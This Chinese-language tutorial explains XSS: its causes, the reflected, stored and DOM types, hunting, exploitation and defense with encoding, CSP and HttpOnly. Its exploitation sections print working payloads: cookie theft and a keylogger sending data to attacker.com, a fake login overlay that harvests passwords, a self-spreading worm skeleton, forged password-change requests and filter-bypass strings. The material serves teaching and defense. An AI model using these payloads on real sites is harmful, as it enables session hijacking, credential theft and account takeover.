XSS漏洞深度解析:从原理到实战攻防与防御策略

📅 2026/7/3 14:25:19
XSS漏洞深度解析:从原理到实战攻防与防御策略
1. 项目概述从“弹个窗”到“偷走你的Cookie”如果你刚开始接触网络安全可能会觉得XSS跨站脚本攻击不就是“弹个窗”吗alert(1)一执行漏洞就找到了好像没什么大不了的。我最初也是这么想的直到有一次在真实的渗透测试中我眼睁睁看着一个存储型XSS漏洞在后台静默运行了三天不仅窃取了上百个管理员会话Cookie还通过伪造请求批量篡改了网站的核心数据。那一刻我才明白XSS远非一个简单的弹窗警告它是一个能撬开整个Web应用大门的、极其危险的“隐形刺客”。简单来说XSS攻击的核心是攻击者将恶意的脚本代码通常是JavaScript“注入”到目标网站中当其他用户受害者的浏览器加载并执行了这些本不该存在的代码时攻击就发生了。受害者浏览器会认为这些脚本来自它信任的网站因为确实是从该网站加载的从而毫无戒备地执行导致Cookie被盗、页面被篡改、键盘记录、甚至结合其他漏洞进一步攻陷服务器。这个学习笔记是我从“知道XSS”到“真正理解并能在实战中挖掘、利用、防御XSS”的阶段性总结。它不会停留在概念上而是会深入到原理、拆解各种分类的利用场景、提供可直接复用的POC概念验证代码并最终落脚于如何从开发和安全两个角度进行有效防御。无论你是想通过CTF比赛巩固基础还是准备投身于实际的渗透测试或安全开发工作这些从真实踩坑中提炼出的内容或许能帮你少走一些弯路。2. XSS漏洞核心原理深度拆解要真正理解XSS不能只记住“输入未过滤导致脚本执行”这句话。我们需要深入到浏览器和服务器交互的细节中看看漏洞究竟是如何产生的。2.1 信任的边界是如何被打破的Web安全的基石之一是“同源策略”Same-Origin Policy。它规定来自A站点的脚本不能访问B站点的数据如Cookie、DOM。这就像每个小区都有门禁只允许本小区居民进入。XSS攻击的精妙或者说可恶之处在于它并不直接挑战这个门禁。相反它通过欺骗手段让自己变成“本小区居民”。攻击路径是这样的输入点网站存在一个允许用户输入数据并展示出来的地方。比如搜索框、评论框、个人资料昵称、文章内容编辑器等。这是攻击的“入口”。缺乏净化网站在接收这些用户输入的数据后没有进行充分的过滤、转义或编码就将其直接拼接进HTML页面、JavaScript代码或DOM属性中。这是漏洞的“根源”。恶意构造攻击者提交的并非普通文本而是一段精心构造的、包含HTML标签和JavaScript代码的字符串。错误信任服务器将这段恶意字符串存储或反射回页面浏览器在渲染页面时将其视为页面合法的一部分进行解析和执行。越权执行恶意脚本在受害者的浏览器上下文中执行。由于浏览器认为它来自当前访问的“可信”网站因此脚本可以访问该网站域名下的Cookie、LocalStorage操作DOM甚至以受害者的身份发起请求如转账、改密。注意这里的关键是“上下文”。XSS脚本执行的环境是受害者的浏览器攻击的目标也是受害者或其他访问该页面的用户而非直接攻击服务器。服务器在这里扮演了一个“不设防的信使”角色。2.2 一个被忽视的关键细节编码与解析顺序很多初学者知道要把转义成lt;但为什么有时候转了还是出问题这就涉及到浏览器的解析顺序。浏览器渲染页面是一个多阶段的过程HTTP响应服务器返回原始的HTML字节流。HTML解析浏览器将字节流解码为字符并开始构建DOM树。遇到script标签会启动JavaScript解析器。JavaScript执行解析器执行脚本内容。URL解码在处理如href、src等属性中的URL时会进行解码。事件触发页面加载完成或用户交互触发事件处理函数。漏洞常出现在编码不一致的地方。例如用户输入%3Cscript%3Ealert(1)%3C/script%3EURL编码。服务器直接将其放入HTMLa hrefUSER_INPUT点击/a变成了a href%3Cscript%3Ealert(1)%3C/script%3E点击/a。此时HTML解析器看到的href属性值是一串普通字符没有威胁。但是如果这个链接被点击浏览器在跳转前会对href的URL值进行解码解码后变成了scriptalert(1)/script。如果这个URL恰好是javascript:协议如javascript:alert(1)那么解码后的脚本就会执行。这就是为什么仅仅做HTML实体编码可能不够需要根据输出上下文进行针对性编码。我个人的一个深刻教训是在一次代码审计中我发现一个输出到div内的变量已经做了HTML编码以为万无一失。但后来发现这个变量在另一个地方被用作jQuery选择器的一部分$(‘#’ userInput).show()。攻击者可以输入img srcx onerroralert(1)经过HTML编码后变成纯文本无法触发XSS。然而在jQuery的上下文中userInput被拼接进字符串并作为选择器求值。如果输入是#jQuery会尝试选择ID为空的元素这通常无害。但如果输入是scriptalert(1)/script编码后它仍然是字符串不会执行。真正的危险在于攻击者可以输入反引号来闭合字符串然后执行函数。例如输入);alert(1);//最终拼接成的代码是$(‘#);alert(1);//‘).show()这就成功注入了。这个案例告诉我安全必须结合上下文。3. XSS的三种主要分类与实战利用场景根据恶意脚本的“来源”和“存储”位置XSS主要分为三类。理解它们的区别对漏洞挖掘和利用至关重要。3.1 反射型XSS一次性的“钓鱼钩”反射型XSSReflected XSS是最常见也相对容易理解的一种。恶意脚本并未存储在服务器上而是“反射”在服务器的响应中。通常伴随着一次用户交互如点击一个特制链接。典型场景网站有一个搜索功能搜索关键词会显示在结果页面上“您搜索的关键词是[keyword]”。攻击者构造一个URLhttps://victim.com/search?qscriptalert(document.cookie)/script。攻击者通过邮件、社交网站等渠道诱骗受害者点击这个链接。受害者点击后浏览器向victim.com发起请求参数q中包含恶意脚本。服务器未过滤直接将q的值拼接到HTML响应中返回。受害者的浏览器接收到响应解析并执行了其中的script标签攻击完成。实战利用要点短平快通常需要诱骗用户点击属于“一次性”攻击。常用于钓鱼结合短域名、伪装成正常链接等方式提高点击率。POC示例不仅仅是alert。一个更有说服力的POC是窃取Cookie并发送到攻击者服务器。scriptfetch(https://attacker.com/steal?cookie document.cookie);/script高级技巧利用URL缩短服务、将XSS向量编码在URL片段#后面不会发送到服务器但浏览器能处理等方式绕过一些简单的黑名单过滤。3.2 存储型XSS潜伏的“定时炸弹”存储型XSSStored XSS 或 Persistent XSS危害性最大。恶意脚本被永久地存储在目标服务器的数据库、文件系统或其他存储介质中如文章评论、用户昵称、论坛帖子、客服聊天记录。所有后续访问相关页面的用户都会在不知情的情况下执行这段恶意脚本。典型场景一个博客网站允许用户发表评论评论内容直接显示在文章下方。攻击者在评论框中提交img srcx onerrorstealCookie()。服务器未过滤将此评论存入数据库。此后任何访问这篇博客文章的用户浏览器都会加载这条评论尝试加载一个不存在的图片x触发onerror事件执行stealCookie()函数导致Cookie被窃。实战利用要点危害扩散性极强一次注入影响所有访问者无需重复诱骗。常用于“水坑攻击”在目标用户经常访问的站点如内部论坛、知名社区植入后门。结合CSRF威力倍增利用存储的XSS脚本可以自动向服务器发起伪造请求如修改其他用户密码、发布不良信息因为请求携带了受害者的合法Cookie。POC示例蠕虫思路在社交网站中让恶意脚本在用户访问时自动用该用户的账号发布一条包含同样恶意脚本的动态从而实现自我传播。script // 伪代码需根据实际网站API调整 var xhr new XMLHttpRequest(); xhr.open(POST, /api/post_status, true); xhr.setRequestHeader(Content-Type, application/json); xhr.withCredentials true; // 携带Cookie var payload script...同样的恶意代码.../script; xhr.send(JSON.stringify({content: 快看这个 payload})); /script注意这种蠕虫式攻击对社交平台是毁灭性的也是各大厂安全测试的重中之重。3.3 DOM型XSS纯前端的“影子舞者”DOM型XSSDOM-based XSS是一种比较特殊的类型。漏洞的根源不在于服务器响应中包含了恶意脚本而在于前端JavaScript代码不安全地操作了DOM。攻击载荷可能从未到达服务器而是在客户端被解析和执行。典型场景网站有一个功能通过URL参数#defaultEnglish来设置页面语言。前端JavaScript代码有如下逻辑var lang document.location.hash.substring(8); // 获取 #default 后面的值 document.write(option value lang lang /option);攻击者构造URLhttps://victim.com/settings#defaultEnglishscriptalert(1)/script。受害者访问该URL。前端JS从URL片段hash中提取出lang的值为Englishscriptalert(1)/script。document.write将其直接拼接进HTML导致script标签被写入DOM并执行。实战利用要点服务器可能无感知因为攻击载荷在#后面浏览器不会将其发送到服务器传统的WAF或服务器端日志可能无法检测。源Source与汇Sink分析DOM型XSS要找到不可信的“数据源”Source如document.location、document.referrer、window.name、localStorage以及危险的“数据汇”Sink即能导致脚本执行的函数如innerHTML、outerHTML、document.write、eval、setTimeout、location.href的javascript:协议等。POC示例利用innerHTML的常见漏洞。!-- 假设页面有 div idmsg/div -- script // 从URL获取错误信息并显示 var error new URLSearchParams(window.location.search).get(error); if(error) { document.getElementById(msg).innerHTML 错误 error; // Sink点 } /script攻击者URL.../page?errorimg srcx onerroralert(1)。innerHTML会将字符串解析为HTML元素img标签的onerror事件被触发。排查难点需要人工或使用工具如DOM Invader跟踪数据从Source到Sink的流动路径判断中间是否有有效的过滤或编码。4. 从挖掘到利用手把手实战XSS漏洞知道原理和分类后我们更需要知道怎么找、怎么用。下面是我总结的一套实战流程。4.1 漏洞挖掘不只是输入script第一步全面枚举输入点不要只盯着表单。任何客户端可控、能影响输出内容的地方都可能是入口URL参数?q,?id,?redirectURL路径/user/[username]HTTP请求头User-Agent,Referer,X-Forwarded-For如果这些信息会被记录并显示在管理后台文件上传点上传文件名、文件元数据如图片的EXIF信息如果被读取显示。WebSocket消息聊天应用、实时通知等。客户端存储如果localStorage或Cookie的值会被读出来并动态写入页面。第二步多维度测试Payload不要只用一种Payload。针对不同的上下文使用不同的测试字符串基础探测“scriptalert(1)/script’onmouseover’alert(1)img srcx onerroralert(1)。事件处理器适用于HTML标签属性。onload,onerror,onmouseover,onfocus,onblur等。例如svg onloadalert(1)。JavaScript伪协议用于href、src、iframe等支持URL的属性。javascript:alert(1)。注意现代浏览器会对javascript:协议的内容进行一定限制但在某些上下文如a href中仍可能有效。DOM型探测使用#或?参数配合页面JS逻辑。例如#defaultimg onerroralert(1)。使用浏览器开发者工具的“调试器”Debugger在可能的Sink函数如innerHTML、document.write处设置断点观察数据流。绕过过滤测试大小写混淆ScRiPt,IMG SRCx ONERRORalert(1)标签属性分割img src”x” alt””onerroralert(1)利用属性间空格编码绕过HTML实体lt;scriptgt;alert(1)lt;/scriptgt;如果输出点在textarea或script标签内可能被解码。URL编码%3Cscript%3Ealert(1)%3C/script%3E用于URL参数。Unicode编码\u003cscript\u003e在某些JS上下文中。使用非常规标签/属性details open ontogglealert(1)svgscriptalert(1)/scriptbody onloadalert(1)。第三步观察输出位置与上下文提交Payload后用开发者工具F12的“元素”Elements面板仔细查看你的输入被放置在了哪里是在HTML标签内如div [输出] /div是在HTML标签的属性里如input value”[输出]”是在JavaScript代码块中如var name “[输出]”;是在CSS样式里如style”color: [输出]”不同的上下文需要不同的Payload和编码方式。4.2 漏洞利用超越alert(1)的实战价值证明漏洞存在用alert(1)就够了但真正的利用要获取实际利益。场景一会话劫持Cookie窃取这是最直接的目标。获取到用户的会话Cookie就能以该用户的身份登录系统。script var img new Image(); img.src ‘https://attacker.com/collect?cookie’ encodeURIComponent(document.cookie); /script在攻击者服务器attacker.com上只需一个能记录请求参数的脚本即可如PHP的file_put_contentsPython的http.server记录日志。实操心得现在很多关键应用如银行、邮箱的Cookie会设置HttpOnly属性阻止JavaScript通过document.cookie读取。但这不意味着XSS失效我们还可以进行下一步。场景二发起伪造请求CSRF via XSS既然脚本能在用户上下文执行它就能以用户的身份向该网站发起任何请求GET/POST并自动携带Cookie包括HttpOnly的Cookie。script // 伪造一个修改邮箱的POST请求 var xhr new XMLHttpRequest(); xhr.open(‘POST’, ‘/api/change_email’, true); xhr.setRequestHeader(‘Content-Type’, ‘application/json’); xhr.withCredentials true; // 关键携带跨域Cookie需目标站点配置CORS但同域请求无此问题 xhr.send(JSON.stringify({newEmail: ‘attackerevil.com’})); // 或者更简单创建一个表单自动提交 var form document.createElement(‘form’); form.action ‘/change_password’; form.method ‘POST’; var input document.createElement(‘input’); input.name ‘new_password’; input.value ‘hacked123’; form.appendChild(input); document.body.appendChild(form); form.submit(); /script通过这种方式可以完成修改密码、转账、发布信息、甚至提升权限等操作。场景三键盘记录与钓鱼在页面中植入一个透明的覆盖层iframe或div监听用户的键盘事件窃取输入的账号密码。script document.onkeypress function(e) { var key String.fromCharCode(e.keyCode || e.which); // 将按键发送到攻击者服务器 new Image().src ‘https://attacker.com/keylog?k’ key; } // 或者直接伪造一个登录框覆盖原页面 var fakeLogin document.createElement(‘div’); fakeLogin.innerHTML ‘h3会话过期请重新登录/h3input id”user” placeholder”用户名”input id”pass” type”password” placeholder”密码”button onclick”steal()”登录/button’; fakeLogin.style ‘position:fixed; top:0; left:0; width:100%; height:100%; background:white; z-index:9999;’; document.body.appendChild(fakeLogin); function steal() { var u document.getElementById(‘user’).value; var p document.getElementById(‘pass’).value; new Image().src ‘https://attacker.com/steal?u’u’p’p; alert(‘登录失败请稍后再试’); // 欺骗用户 document.body.removeChild(fakeLogin); // 移除覆盖层让用户以为只是登录出错 } /script场景四结合其他漏洞扩大战果与CSRF结合用XSS读取页面中的CSRF Token然后构造一个合法的伪造请求绕过CSRF防护。探测内网利用受害者的浏览器作为代理扫描其内网资源“浏览器作为攻击面”。配合漏洞获取更高权限如果受害者是管理员XSS脚本可以访问管理后台功能可能发现更多的漏洞或直接进行后台操作。5. 防御之道从开发到运维的全链路防护防御XSS是一个系统工程需要在数据流动的每一个环节设置检查点。5.1 输入验证第一道防火墙原则在最早可能的地方对数据进行规范化和验证。定义白名单根据业务逻辑明确每个输入字段允许的字符集。例如用户名只允许字母数字和特定符号邮箱地址必须符合邮箱格式数字字段必须为数字。使用严格的正则表达式验证而不仅仅是过滤。对于复杂内容如富文本白名单比黑名单有效得多。黑名单禁止script很容易被绕过。规范化将输入转换为标准格式。例如URL编码解码、统一字符编码UTF-8。注意输入验证不能完全替代输出编码因为数据可能在多个系统间流转上下文会变化。输入验证是保证数据“合法”输出编码是保证数据“安全”。5.2 输出编码最核心的防御手段原则根据数据最终被放置的上下文进行针对性的编码。这是防御XSS最有效、最根本的方法。编码的目的是将数据中的特殊字符转换为它们的转义形式使其被解释为普通文本而非代码。输出上下文危险字符示例编码方式编码后示例输入为scriptHTML Body(标签之间) ‘ “HTML实体编码lt;scriptgt;HTML Attribute(属性值)同上尤其是‘ “HTML属性编码通常也用HTML实体lt;scriptgt;(属性值需用引号包裹)JavaScript(在script标签内或事件属性中)‘ “ \ 换行符JavaScript Unicode转义或十六进制编码\u003cscript\u003e或\x3cscript\x3eURL(在href,src等属性中)除字母数字外的几乎所有字符URL百分比编码%3Cscript%3ECSS(在style属性或标签中); : ( ) ‘ “CSS编码\3c script\3e现代前端框架的自动编码React默认会对在JSX中通过花括号{}插入的所有变量进行转义将其转换为字符串。除非你使用dangerouslySetInnerHTML。Vue.js双花括号{{ }}插值也会自动进行HTML转义。使用v-html指令时需要格外小心。Angular默认的插值绑定{{ }}也是安全的。使用[innerHTML]属性绑定时需谨慎。重要提示即使使用了这些框架如果你在框架之外手动操作DOM例如直接使用innerHTML、document.write或与第三方不安全的库交互防护就会失效。永远不要相信来自用户或第三方API的数据除非你明确对其进行了编码。5.3 利用安全机制浏览器的盟友Content Security Policy (CSP)这是防御XSS的终极武器之一。CSP通过HTTP头告诉浏览器哪些来源的资源脚本、样式、图片、字体等是可信的可以执行或加载。示例策略Content-Security-Policy: default-src ‘self’; script-src ‘self’ https://trusted.cdn.com; object-src ‘none’;这条策略意味着默认只允许加载同源资源脚本只允许来自同源和https://trusted.cdn.com完全禁止object、embed、applet等标签。即使页面被注入了script src”http://evil.com/bad.js”浏览器也会拒绝加载和执行。报告模式可以先启用Content-Security-Policy-Report-Only头只报告违规行为而不阻止用于调试策略。注意事项配置不当的CSP如允许unsafe-inline或unsafe-eval会大大削弱其防护能力。CSP不是银弹需与输出编码结合使用。HttpOnly Cookie为会话Cookie设置HttpOnly标志。这样JavaScript就无法通过document.cookieAPI读取该Cookie可以有效缓解Cookie窃取攻击。但这不影响XSS脚本以用户的身份发起请求因为请求会自动携带Cookie。输入长度限制对明显的输入字段如搜索框、评论进行前端和后端的长度限制可以增加构造复杂Payload的难度但绝非主要防御手段。5.4 安全开发与测试流程安全编码规范团队内制定并推行安全编码规范明确禁止使用innerHTML、outerHTML、document.write等危险函数强制使用安全的API如textContent、setAttribute。使用安全的模板引擎确保使用的模板引擎如Jinja2, Thymeleaf, Handlebars等默认开启自动转义或使用其安全输出函数如{{ variable | escape }}。自动化代码审计SAST在CI/CD流程中集成静态应用安全测试工具自动扫描代码库中不安全的函数调用和潜在漏洞模式。定期渗透测试与漏洞扫描除了自动化工具定期进行人工渗透测试模拟攻击者的思路和方法发现工具无法发现的逻辑漏洞和复杂的利用链。安全知识培训让所有开发者特别是前端开发者理解XSS的原理、危害和防御方法从源头减少漏洞引入。6. 常见问题与排查技巧实录在实际挖掘和修复XSS漏洞的过程中会遇到各种各样的问题。这里记录了一些典型场景和解决思路。6.1 为什么我的Payload没弹窗检查输出上下文用开发者工具查看你的输入被放在页面的哪个位置。是在script标签里还是在HTML属性里Payload必须匹配上下文。检查过滤与编码查看页面源代码不是“检查元素”因为“检查元素”显示的是动态DOM看你的输入被服务器或前端JS处理成了什么样。是不是被转义成了lt;检查事件触发条件onerror需要资源加载失败onmouseover需要鼠标划过。你的Payload满足触发条件吗可以尝试使用onload事件如svg onloadalert(1)它一旦加载即触发。浏览器XSS过滤器干扰现代浏览器如Chrome的XSS Auditor历史版本Edge等内置了反射型XSS过滤器。它们可能拦截某些简单的Payload。尝试使用更复杂、混淆的Payload或者将攻击从反射型转为存储型/DOM型来测试。CSP阻止检查HTTP响应头是否有Content-Security-Policy。如果有并且策略禁止内联脚本script-src不包含‘unsafe-inline’那么scriptalert(1)/script这种内联脚本是不会执行的。你需要尝试其他向量如通过允许的外部域加载脚本或使用其他标签的事件处理器如果CSP没有限制。6.2 输入被过滤了如何绕过这是XSS挑战中最有趣的部分。需要根据过滤规则随机应变。情景A过滤了script和onerror等关键词尝试大小写ScRiPtIMG onERRORalert(1)尝试嵌套标签scrscriptiptalert(1)/scr/scriptipt如果过滤是简单的字符串替换可能会移除中间的script剩下外层的script和/script重新组合。使用非标准标签或事件svgscriptalert(1)/scriptbody onloadalert(1)details open ontogglealert(1)。利用HTML解析特性img src”x” alt””onerroralert(1)在alt””后不加空格直接接onerror有些过滤器可能匹配不到。情景B输出点在JavaScript字符串中例如scriptvar name ‘[用户输入]’; /script目标闭合字符串插入代码。Payload’; alert(1); //结果var name ‘’; alert(1); //’;注释掉了后面的单引号。如果引号被转义输入\’; alert(1); // 可能变成var name ‘\\’; alert(1); //’; 第一个反斜杠转义了第二个使得单引号仍然被转义需要进一步测试。情景C输出点在HTML标签属性内但引号被过滤例如input value”[用户输入]”Payload” onfocusalert(1) autofocus”假设页面加载后该输入框会自动聚焦结果input value”” onfocusalert(1) autofocus”” 添加了新的事件属性。如果空格和事件名也被过滤可能需要尝试不使用空格或者利用Tab符%09、换行符%0a进行分割这取决于浏览器的HTML解析器是否宽容。6.3 如何验证HttpOnly Cookie防护是否生效查看Cookie在浏览器开发者工具的“应用程序”Application标签页中查看该网站的Cookie。如果会话Cookie的“HttpOnly”列被勾选则说明已设置。尝试读取在浏览器控制台Console中输入document.cookie并执行。如果看不到那个关键的会话Cookie通常叫sessionid,PHPSESSID,JSESSIONID等则说明HttpOnly生效。理解局限HttpOnly只防读取不防使用。XSS脚本仍然可以发起携带该Cookie的请求。因此防御的核心仍然是防止脚本注入。6.4 在CTF或靶场中遇到XSS挑战的思路CTFCapture The Flag中的XSS题目往往设置了层层过滤是练习绕过技巧的好地方。信息收集首先尝试输入一些无害的测试字符串如aaaa‘“查看输出位置和过滤情况。黑盒测试系统性地尝试各种Payload从简单到复杂观察响应。代码审计如果有源码如果是白盒或提供了源码仔细阅读服务器端和前端处理输入的逻辑。寻找过滤函数、正则表达式、替换规则。常见的漏洞模式是str_replace(‘script’, ”, $input)只替换一次或者preg_replace(‘/script/i’, ”, $input)不处理大小写混淆但可能处理了嵌套。利用编码尝试多重编码。例如服务器可能先URL解码再HTML解码。那么你可以提交%253Cscript%253E%3C是的URL编码%25是%的URL编码。服务器第一次解码得到%3Cscript%3E第二次解码得到script。利用JavaScript特性例如利用eval(String.fromCharCode(...))来执行代码避免直接出现关键词。或者利用location.hash、window.name等作为源配合eval或innerHTML等Sink点。XSS漏洞的挖掘和防御是一场永无止境的攻防战。攻击者在不断寻找新的利用方式和绕过技巧而防御者则需要构建多层次、纵深的安全体系。对于开发者而言将“输出编码”作为肌肉记忆并善用CSP等现代安全特性是构建坚固防线的关键。对于安全研究者而言理解原理、熟悉各种上下文、保持对新技术和新绕过方法的关注才能更有效地发现和应对威胁。这份笔记记录了我从入门到中级阶段的一些核心认知和实战经验希望能成为你探索Web安全世界的一块有用的垫脚石。真正的精通还需要在大量的实战靶场、代码审计和渗透测试项目中不断磨练。